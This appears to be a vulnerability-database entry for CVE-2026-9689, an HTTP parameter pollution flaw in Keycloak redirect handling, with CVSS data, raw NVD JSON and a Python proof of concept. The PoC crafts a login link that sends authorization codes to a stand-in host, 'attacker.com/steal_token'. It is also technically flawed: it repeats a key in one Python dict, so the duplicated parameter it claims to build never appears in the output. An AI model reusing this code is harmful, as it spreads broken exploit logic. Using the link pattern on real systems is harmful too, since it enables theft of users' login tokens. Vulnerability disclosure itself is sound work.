Security Vulnerability Report
中文
CVE-2026-9689 CVSS 4.2 MEDIUM

CVE-2026-9689

Published: 2026-05-27 12:17:16
Last Modified: 2026-05-27 14:54:20

Description

A flaw was found in Keycloak, an open-source identity and access management solution. When a client application is configured to accept broad redirect Uniform Resource Identifiers (URIs), a remote attacker can manipulate the authentication process by crafting a special web address. If a user clicks this link, the client application might incorrectly prioritize attacker-controlled information over legitimate data. This vulnerability, known as HTTP parameter pollution, could allow an attacker to bypass security measures or gain unauthorized access to resources.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-9689 # This script demonstrates how an attacker might craft a malicious URL # utilizing HTTP Parameter Pollution to manipulate the redirect_uri. import urllib.parse def exploit_poc(target_domain, client_id, malicious_redirect): # Legitimate redirect URI (whitelisted) legit_redirect = "https://app.example.com/callback" # Construct the base authorization endpoint URL base_url = f"https://{target_domain}/auth/realms/master/protocol/openid-connect/auth" # Parameters for the auth request params = { "client_id": client_id, "response_type": "code", "redirect_uri": legit_redirect, # First instance "redirect_uri": malicious_redirect, # Second instance (Pollution) "scope": "openid profile" } # Note: In a real HPP attack, how the server handles duplicate keys matters. # This PoC simulates the URL structure an attacker would send. # Depending on the framework, the URL might look like: # .../auth?redirect_uri=LEGIT&redirect_uri=EVIL query_string = urllib.parse.urlencode(params, doseq=True) full_url = f"{base_url}?{query_string}" print(f"[+] Malicious Link Generated:\n{full_url}") return full_url if __name__ == "__main__": target = "keycloak.example.com" client = "vulnerable-client" evil_site = "https://attacker.com/steal_token" exploit_poc(target, client, evil_site)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9689", "sourceIdentifier": "[email protected]", "published": "2026-05-27T12:17:15.513", "lastModified": "2026-05-27T14:54:20.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak, an open-source identity and access management solution. When a client application is configured to accept broad redirect Uniform Resource Identifiers (URIs), a remote attacker can manipulate the authentication process by crafting a special web address. If a user clicks this link, the client application might incorrectly prioritize attacker-controlled information over legitimate data. This vulnerability, known as HTTP parameter pollution, could allow an attacker to bypass security measures or gain unauthorized access to resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1288"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9689", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481845", "source": "[email protected]"}]}}